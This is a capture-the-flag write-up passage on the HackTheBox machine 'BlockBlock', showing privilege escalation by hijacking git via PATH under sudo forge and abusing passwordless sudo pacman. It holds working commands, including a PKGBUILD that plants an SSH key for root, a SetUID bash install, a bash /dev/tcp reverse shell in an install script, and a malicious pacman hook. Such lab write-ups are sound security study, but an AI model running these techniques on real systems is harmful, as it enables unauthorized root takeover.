oxdf@hacky$ ssh -i ~/keys/ed25519_gen paul@10.10.11.43
[paul@blockblock ~]$
Via Path Hijack
The intended way to exploit this was using a relative path exploit. There is a place in forge
where it calls git remote get-url origin
without using the full path. This happens on line 82 of mod.rs
in the forge
source:
if doc_config.repository.is_none() {
// Attempt to read repo from git
if let Ok(output) = Command::new("git").args(["remote", "get-url", "origin"]).output() {
if !output.stdout.is_empty() {
let remote = String::from_utf8(output.stdout)?.trim().to_owned();
if let Some(captures) = GH_REPO_PREFIX_REGEX.captures(&remote) {
let brand = captures.name("brand").unwrap().as_str();
let tld = captures.name("tld").unwrap().as_str();
let project = GH_REPO_PREFIX_REGEX.replace(&remote, "");
doc_config.repository = Some(format!(
"https://{brand}.{tld}/{}",
project.trim_end_matches(".git")
));
}
}
}
}
This can be found a few ways. One thing to search for would be places the Rust program is calling other programs, which is done with Command::new
. I can search for that in GitHub and notice the top result is in forge
and not using an absolute path for git
:

That’s actually not the first place I hit a call to git
when running forge build
. In forge build
, there’s a call on line 72 of build.rs to install_missing_dependencies
. That’s defined on lines 94-107 of install.rs
, which calls has_missing_dependencies
. That function is defined on lines 480-490 of mod.rs
:
pub fn has_missing_dependencies<I, S>(self, paths: I) -> Result<bool>
where
I: IntoIterator<Item = S>,
S: AsRef<OsStr>,
{
self.cmd()
.args(["submodule", "status"])
.args(paths)
.get_stdout_lossy()
.map(|stdout| stdout.lines().any(|line| line.starts_with('-')))
}
As this is at the top of the build
path, it’s called every time forge build
is called.
I could also use the Rust logger, which is configured by the the RUST_LOG
environment variable. I’ll get a copy of forge
on my host, and run it:
oxdf@hacky$ PATH=. RUST_LOG=trace ./forge build
2025-03-24T18:53:12.553141Z TRACE foundry_config::providers::remappings: get all remappings from "/media/sf_CTFs/hackthebox/blockblock-10.10.11.43"
2025-03-24T18:53:12.553462Z TRACE foundry_config::providers::remappings: find all remappings in lib path: "/media/sf_CTFs/hackthebox/blockblock-10.10.11.43/lib"
2025-03-24T18:53:12.555666Z TRACE foundry_cli::utils: executing command=cd "/media/sf_CTFs/hackthebox/blockblock-10.10.11.43" && "git" "submodule" "status" "/home/oxdf/hackthebox/blockblock-10.10.11.43/lib"
2025-03-24T18:53:12.559045Z DEBUG version: foundry_compilers::compilers::vyper: getting Vyper version cmd="vyper" "--version"
Nothing to compile
There is a call to git submodule status
.
To exploit this, I’ll just copy my reverse shell from above into a file named git
and run:
[keira@blockblock shm]$ cp shell.sh git
[keira@blockblock shm]$ sudo -u paul PATH=.:$PATH /home/paul/.foundry/bin/forge build
It hangs, but at my nc
:
oxdf@hacky$ nc -lnvp 443
Listening on 0.0.0.0 443
Connection received on 10.10.11.43 46866
[paul@blockblock shm]$
Shell as root
Enumeration
paul can run pacman
as any user without a password using sudo
:
[paul@blockblock ~]$ sudo -l
User paul may run the following commands on blockblock:
(ALL : ALL) NOPASSWD: /usr/bin/pacman
PacMan Exploitation
Background
pacman
is the package manager for Arch Linux. Much like apt
on Debian based OSes, or yum
on Redhat-based ones, it installs applications from repositories.
This page from the Arch wiki talks about how to create a package. This page talks about the PKGBUILD
file. I found this tutorial from Vultr helpful as well.
There are numerous ways to exploit this. I’ll show three strategies (each of which has multiple ways to exploit):
flowchart TD;
subgraph identifier[" "]
direction LR
start1[ ] --->|intended| stop1[ ]
style start1 height:0px;
style stop1 height:0px;
start2[ ] --->|unintended| stop2[ ]
style start2 height:0px;
style stop2 height:0px;
end
A[Shell as paul]-->B("<a href='#file-write-in-package'>File Write\nin package()</a>");
B-->C[Shell as root];
A-->D(<a href='#install-script'>install Script</a>);
D-->C;
A-->E(<a href='#hookdir'>--hookdir</a>);
E-->C;
linkStyle default stroke-width:2px,stroke:#FFFF99,fill:none;
linkStyle 1,4,5,6,7 stroke-width:2px,stroke:#4B9CD3,fill:none;
style identifier fill:#1d1d1d,color:#FFFFFFFF;
File Write In package()
Creating a package involves generating a PKGBUILD
file. There is a build()
function that isn’t useful to me here, but also a package()
function that is responsible for installing files.
There’s a couple ways I could take this. One would be to write a SetUID/SetGID bash
. For example, I’ll create a directory in /dev/shm
to work from:
[paul@blockblock shm]$ mkdir oxdf
[paul@blockblock shm]$ cd oxdf/
I’ll create a PKGBUILD
file:
pkgname=oxdf
pkgver=0.0.1
pkgrel=1
pkgdesc="privesc"
url=https://0xdf.gitlab.io
source=("pub")
arch=("x86_64")
license=("GPL2")
build() {
echo "building oxdf for takeover"
}
package() {
install -Dm755 "$srcdir/pub" "$pkgdir//root/.ssh/authorized_keys"
}
I’m having it write as 755 because that’s what the permissions on /root
and /root/.ssh
are typically. It’s referencing the pub
file with my public SSH key in it, which I’ll copy into this directory as well.
To make this into a package, I’ll run makepkg
:
[paul@blockblock oxdf]$ ls
PKGBUILD pub
[paul@blockblock oxdf]$ makepkg
==> Making package: oxdf 0.0.1-1 (Mon 24 Mar 2025 09:26:40 PM UTC)
==> Checking runtime dependencies...
==> Checking buildtime dependencies...
==> Retrieving sources...
-> Found pub
==> ERROR: Integrity checks are missing for: source
It fails because I left out the sha256sum
line. I can add that with the hash of the files I’m including, or just use --skipinteg
:
[paul@blockblock oxdf]$ makepkg --skipinteg
==> Making package: oxdf 0.0.1-1 (Mon 24 Mar 2025 09:27:32 PM UTC)
==> Checking runtime dependencies...
==> Checking buildtime dependencies...
==> Retrieving sources...
-> Found pub
==> WARNING: Skipping all source file integrity checks.
==> Extracting sources...
==> Starting build()...
building oxdf for takeover
==> Entering fakeroot environment...
==> Starting package()...
==> Tidying install...
-> Removing libtool files...
-> Purging unwanted files...
-> Removing static library files...
-> Stripping unneeded symbols from binaries and libraries...
-> Compressing man and info pages...
==> Checking for packaging issues...
==> Creating package "oxdf"...
-> Generating .PKGINFO file...
-> Generating .BUILDINFO file...
-> Generating .MTREE file...
-> Compressing package...
==> Leaving fakeroot environment.
==> Finished making: oxdf 0.0.1-1 (Mon 24 Mar 2025 09:27:33 PM UTC)
[paul@blockblock oxdf]$ ls
oxdf-0.0.1-1-x86_64.pkg.tar.zst pkg PKGBUILD pub src
The output of build
is printed in that process (but since I didn’t build as root, there’s not much value to having anything there). The results are a .pkg.tar.zst
file and some directories.
I’ll run pacman
to install this, putting my public key into /root/.ssh/authorized_keys
:
[paul@blockblock oxdf]$ sudo /usr/bin/pacman -U oxdf-0.0.1-1-x86_64.pkg.tar.zst
loading packages...
resolving dependencies...
looking for conflicting packages...
Packages (1) oxdf-0.0.1-1
Total Installed Size: 0.00 MiB
:: Proceed with installation? [Y/n] y
(1/1) checking keys in keyring [########################################] 100%
(1/1) checking package integrity [########################################] 100%
(1/1) loading package files [########################################] 100%
(1/1) checking for file conflicts [########################################] 100%
(1/1) checking available disk space [########################################] 100%
:: Processing package changes...
(1/1) installing oxdf [########################################] 100%
Now the key is there, and I can SSH as root:
oxdf@hacky$ ssh -i ~/keys/ed25519_gen root@10.10.11.43
Last login: Mon Mar 24 21:32:43 2025 from 10.10.14.6
[root@blockblock ~]#
There’s a bunch of other ways I could abuse this. Other files to overwrite. Or I could include a copy of bash
and set it as SetUID/SetGID:
package() {
install -Dm6777 -o root -g root "/bin/bash" "$pkgdir//var/tmp/0xdf"
}
I’m using /var/tmp
because both /dev/shm
and /tmp
are mounted with nosuid
:
[paul@blockblock oxdf]$ mount | grep -e '/dev/shm' -e '/tmp'
tmpfs on /dev/shm type tmpfs (rw,nosuid,nodev,inode64)
tmpfs on /tmp type tmpfs (rw,nosuid,nodev,nr_inodes=1048576,inode64)
install Script
An alternative way to get execution during install is using install scripts with the install
keyword in the PKGBUILD
file. In a new directory, I’ll create a new PKGBUILD
file:
pkgname=oxdf-install
pkgver=0.0.1
pkgrel=1
pkgdesc="privesc"
url=https://0xdf.gitlab.io
arch=("x86_64")
license=("GPL2")
install=shell.sh
build() {
echo "building oxdf for takeover"
}
package() {
echo "hello from the package function"
}
The install
directive identifies a script with functions such as pre_install
, post_install
, etc, and these functions (if defined) are called during parts of the process. I’ll create a shell.sh
in the same directory that gives a reverse shell before installing:
[paul@blockblock oxdf-install]$ ls
PKGBUILD shell.sh
[paul@blockblock oxdf-install]$ cat shell.sh
#!/bin/bash
pre_install() {
bash -i >& /dev/tcp/10.10.14.6/443 0>&1
}
I’ll build it with makepkg
, and then install with sudo pacman -U
, and it hangs mid way:
[paul@blockblock oxdf-install]$ sudo /usr/bin/pacman -U oxdf-install-0.0.1-1-x86_64.pkg.tar.zst
loading packages...
resolving dependencies...
looking for conflicting packages...
Packages (1) oxdf-install-0.0.1-1
:: Proceed with installation? [Y/n]
(1/1) checking keys in keyring [########################################] 100%
(1/1) checking package integrity [########################################] 100%
(1/1) loading package files [########################################] 100%
(1/1) checking for file conflicts [########################################] 100%
(1/1) checking available disk space [########################################] 100%
:: Processing package changes...
It hangs, and there’s a shell at nc
:
oxdf@hacky$ nc -lnvp 443
Listening on 0.0.0.0 443
Connection received on 10.10.11.43 44864
[root@blockblock /]#
That script doesn’t have to do a reverse shell. It could just as easily written to authorized_keys
, sudoers
, passwd
, or made a SetUID / SetGID copy of bash
.
–hookdir
Rather than making my own package, another strategy is to use the --hookdir
option of pacman
:
``` --hookdir <dir> set an alternate hook location ```
The hook location is where the application looks for files ending in .hook
which define things that should run before and after pacman
does things.
There are example hook files in this repo. I’ll create mine from those:
[paul@blockblock shm]$ cat oxdf.hook
[Trigger]
Operation = Install
Operation = Upgrade
Type = File
Target = *
[Action]
When = PreTransaction
Exec = /dev/shm/shell.sh
This says before running the operation, run shell.sh
. I’ll run this:
[paul@blockblock shm]$ sudo pacman -U /var/cache/pacman/pkg/file-5.45-1-x86_64.pkg.tar.zst --hookdir /dev/shm
loading packages...
warning: file-5.45-1 is up to date -- reinstalling
resolving dependencies...
looking for conflicting packages...
Packages (1) file-5.45-1
Total Installed Size: 8.33 MiB
Net Upgrade Size: 0.00 MiB
:: Proceed with installation? [Y/n]
(1/1) checking keys in keyring [########################################] 100%
(1/1) checking package integrity [########################################] 100%
(1/1) loading package files [########################################] 100%
(1/1) checking for file conflicts [########################################] 100%
(1/1) checking available disk space [########################################] 100%
:: Running pre-transaction hooks...
(1/1) oxdf.hook
It hangs processing my hooks, and there’s a shell at nc
:
oxdf@hacky$ nc -lnvp 443
Listening on 0.0.0.0 443
Connection received on 10.10.11.43 50410
[root@blockblock /]#